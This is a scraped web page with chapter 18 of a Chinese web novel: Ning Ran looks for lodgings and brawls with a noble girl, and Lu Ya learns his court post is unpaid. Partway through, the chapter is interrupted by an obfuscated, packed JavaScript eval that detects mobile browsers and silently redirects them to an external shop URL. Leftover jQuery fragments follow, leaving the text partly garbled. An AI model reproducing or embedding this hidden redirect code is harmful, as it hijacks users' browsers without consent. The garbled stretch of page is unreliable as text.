文趣网 > 其他小说 > 和前任在系统里包饺子 > 18. 第 18 章
    第十八章

    到了大理寺门口时,两人皆是气喘吁吁。

    上个班可真不容易啊。

    宁然扶着门口的石狮子,伸手把陆涯怀里的包袱拿过去,连声叮嘱。

    “要是有人拿最近发生的事情奚落你,不要忍气吞声,该怼就怼,该骂就骂,知道吗?”

    “住的地方你不用担心,我会解决的,你安心上班就行。”

    “注意保护自己,在肉眼可见的地方给自己多留些暗号,防止迷失。”

    “晚上我来接你下班,进去吧。”

    像是送第一天进入幼儿园的小孩似的,宁然絮絮叨叨说了不少,陆涯乖乖听着,心中那团在早上才被自己压下去的爱情之火又有了随风燎原的趋势。

    这是在干嘛啦,搞得人家心里乱乱的,真讨厌~

    看着眼前的人低着头抠手,脸上还带着莫名的微笑,宁然不解的催促道:“你还在这愣着干嘛呢?快进去啊,打起精神!上班!挣钱!”

    回过神的陆涯小跑着离开了,到门口想跟宁然再挥挥手,转过头时,发现她已经不见了。

    跟陆涯不同,宁然过过很多苦日子,没有地方住,没有钱吃饭,背着债辛苦讨生活一类的惨事她都经历过,所以她并没有那么慌乱。

    一无所有的时候反而会感到轻松,因为知道没什么可失去的了。

    她之所以要来送陆涯上班,一是为早上的事给陆涯道歉,想多陪一陪他,让他不用一个人面对路上各种怪异的目光;二是想再了解一些李轻轻的事,方便她完善自己的计划;三是想在附近寻找一个住的地方。

    现在他们出门只能靠腿,还是得选一个离陆涯上班比较近的地方,不然通勤时间太长的话,费时费腿还费鞋,不划算。

    大理寺四周散落着诸如鸿胪寺,太常寺,御史台等机构,刑部也在附近,所以这一片相对肃穆压抑,并不似寻常街道热闹。

    往前走了一条街的距离,宁然看到了一些商铺,诸如讼师代书铺,文房纸铺,医药铺以及一些简易食铺和车马行之类的,她就近走进一间车马行,问附近有没有房屋出租。

    即使宁然和陆涯已经成了京中众人口中的话题人物,但是这里毕竟没有网络,也不是人人都认得她是谁,比起她,可能还是陆涯那张脸的知名度更高些。

    “姑娘想要赁屋?往前再走一走,喏,那边就是庄宅牙行,你去那边问问吧。”

    道声谢,宁然离开车马行,走进庄宅牙行,询问附近的房价行情如何,虽然她身上穿的还是被关在乡野间时的棉布衣裳,未施粉黛,脸上还有细细的汗,但是容颜鲜丽,神情平静,身姿挺拔,说话不疾不徐,有条不紊,让人不禁高看两眼。

    听牙人介绍完,宁然心里大概有了数,选了几个房子去看了看,明白了牙行嘴里说的和实际差距在哪里,说自己要回家跟家人商量一下就道谢离开了。

    奔波了一上午,宁然又累又饿又渴,找了个阴凉的地方坐着,打算歇一歇就去找李轻轻。

    一辆马车在她身边停下,车帘掀开,露出一张美丽的脸,正是之前在宫宴上被宁然泼过酒的安国公府小姐蒋菁菁。

    “哟,这是谁啊?几日不见,怎么变成村妇了?”

    宁然现在的身体虽然是十八岁的,但她实际上已经三十了,所以看眼前的人颇有种看小孩的感觉,她笑了笑,友好的向对方挥了挥手,“没错没错,是我,哎,你那车里有水吗?能不能让我上去喝口水再带我去一个地方?”

    蒋菁菁眼珠转了转,把车旁的家丁叫过去耳语几句,然后递了一壶茶给他。

    没想到对方这么好说话,宁然笑了一下,正要站起身,但是看那个家丁的表情又感觉不对劲,时间紧迫根本来不及躲开,很快就被对方浇了一头一脸的茶水。

    幸好是凉的。

    但是没有那么幸好的事很快又来了,就在她闭着眼睛的时候,啪的一下,她的脸被狠狠扇了一巴掌。

    头上脸上的水珠因此被甩掉不少,宁然用舌头顶了下火辣辣的脸颊,站起来,看向坐在车里笑得一脸得意的蒋菁菁。

    “那日在宫里,虽然大家都说你是个疯子不让我跟你计较,但是本小姐向来是有仇必报,就算你疯了又怎么样,我该打还是会打!”

    周围渐渐聚集了很多看热闹的人,宁然抬起胳膊擦了擦脸,走向马车边,之前打她的家丁立马过来拦住她,警告她不要靠近他们家小姐。

    “你放心,我不是要伤害你们家小姐,我只是想跟她说几句话,”她越过家丁跟蒋菁菁说:“怎么?你不会是不敢跟我说话吧?”

    “确实不敢,我怕你把疯病传染给我。”

    “我得了这个疯病是因为有了心上人,蒋小姐这么怕,是也已经有了心上人,怕自己也把持不住跟我一样?”

    “你胡说什么呢!快住嘴!”

    “让我想想,是谁呢?蒋小姐到底看上了谁呢?是哪位皇子吗?还是——”

    “你胡说!”蒋菁菁气的涨红了脸,急忙让家丁去捂宁然的嘴,但是宁然把自己见过皇上,被他赐婚给陆涯,已经是他人之妻的身份端出来,光天化日的,他这样算是调戏良家妇人,家丁听了这话,犹豫着并不敢上前。

    蒋菁菁大骂家丁没用,从马车上跳下去,想亲自教训宁然,让她别再胡说,却没想到原本跟家丁对峙的宁然突然快步冲到她面前,扬起手,毫不犹豫的就给了她一巴掌,她还在愣神之中,又一个巴掌落下。

    “啊啊啊啊啊啊啊!打死她!快给我打死她!”

    家丁见自己家小姐受辱,也被刺激了,下了死手推了宁然一把,把她往马车上撞。

    咚的一声,宁然的头磕到了马车上,一阵头晕目眩之后,她感觉到脸上有热流涌过。

    “打死你!让你不听老子的!打死你!”耳边响起了遥远的,熟悉又陌生的打骂声,宁然觉得恍惚,她告诉自己这一切都是假的。

    不可能的,她已经逃的够远了,她再也不会回去了。

    陆涯这边,从他进入大理寺以后,关于这份工作相关的记忆终于复苏了,他也终于搞清楚自己在大理寺到底是干嘛的了。

    什么都不干。

    本身他这个寺正是负责复核案件的,有点像是现代法官的意思,各个衙门将案卷送到大理寺,大理寺需复核案件审判详情,如果发现有问题的,需要写明原由,上报寺丞,经寺丞,大理寺少卿,大理寺卿层层审批,将案件发回原地,限期重审等等。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17654514|206623||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    可是陆涯这个寺正每天来这就是喝茶睡觉练剑,具体的事情是他手底下的两个寺副和几位评事在做。

    至于为什么陆涯可以在寺正这个位置上什么都不做,自然是因为他有个好爷爷。

    陆忻在陆涯得了武举人之后,听到他说想要参军打仗,立马把他塞进了大理寺做文职,他苦闷但是没有办法,幸好陆忻还算有些理智,知道自己的孙子是个什么样,给他安排了两个好帮手,让他不至于真的延误公事。

    每个寺正都配有两个寺副,陆涯的两个寺副是兄弟俩,一个叫龚喜,一个叫龚庆,踏实可靠,尽职尽责。

    他们对陆涯的印象还不错,因为这个公子哥虽然不干活,但是也不添乱,还能帮他们去跟其他组吵架,除了偶尔在他们看案卷看到头晕眼花时转脸看到陆涯睡的安稳香甜时很想上去给他一下,其他时间倒也还好。

    最重要的是,陆涯的俸禄,也归他们。

    回忆起自己每天其实是在免费上班以后,陆涯都有点后悔一大早走这么多路过来了,又没钱,还上什么班啊?

    谁会打免费的工啊?荒唐!

    还没上班呢陆涯就打算直接下班,可是刚转头就碰到了他的顶头上司,大理寺寺丞杨奔。

    这人以前就跟他多有冲突,现在看他那一脸迫不及待两眼放光的样子,陆涯就知道他是专程来奚落他的。

    “哟!这不是陆公子嘛!新婚快乐啊!大家同僚一场,怎么也没请我们去喝杯喜酒呢?想必是新婚生活过的实在是太甜蜜了,把我们都给忘了吧?哈哈哈。”

    哈个头啊哈,陆涯觉得无聊,压根不想理他,准备出门去找宁然。

    杨奔眼见陆涯看都不看他就往外走,气的走过去拦住他,问他上值时间不好好审阅案卷要去哪,陆涯直接说他不干了,杨奔寻到由头,立马大声嚷嚷说他竟敢擅自辞官,说这可是重罪,引得众人前来围观。

    龚喜和龚庆本来在看案卷,不打算管外面的热闹,但是想到陆涯平日对他们还算可以,有些不忍看他一个人被人欺负。

    叹了口气,恭喜起身调整表情,换了副笑脸,走出去跟杨奔赔礼道歉,说陆涯年纪小不懂事,说话不经思考,让他别跟他一般见识,龚庆则半拉半拽的把陆涯带去了房间里。

    “陆公子,安生些吧,要是真的被杨寺丞告上去惹了麻烦,如今没有相爷庇护你可怎么是好啊?”

    “这官本来也是你口中的相爷硬塞给我的,闹上去罢了我的官正好。”

    “这寺正可是正六品呢,怎么能说不做就不做了呢?这不是胡闹吗?”

    “就算是一品又怎么样?没有俸禄我当这个官干嘛啊?我现在缺吃缺穿缺住,还不如上街卖艺去呢!”

    从外面推门而入的龚喜刚好听到陆涯说的缺钱的话,面露尴尬,搓了搓手,说他们兄弟俩以后可以把俸禄归还,只是相应的,陆涯自己的活也得自己干。

    干不干的另说,陆涯现在最想知道的,就是他这个六品官一个月工资到底有多少,兄弟二人对视一眼,给眼前不知柴米油盐的公子哥解释。

    听完,陆涯的心都凉了,他一个月的工资满打满算还不够昨晚在天香楼住一晚的呢!

    什么破班啊?不上了!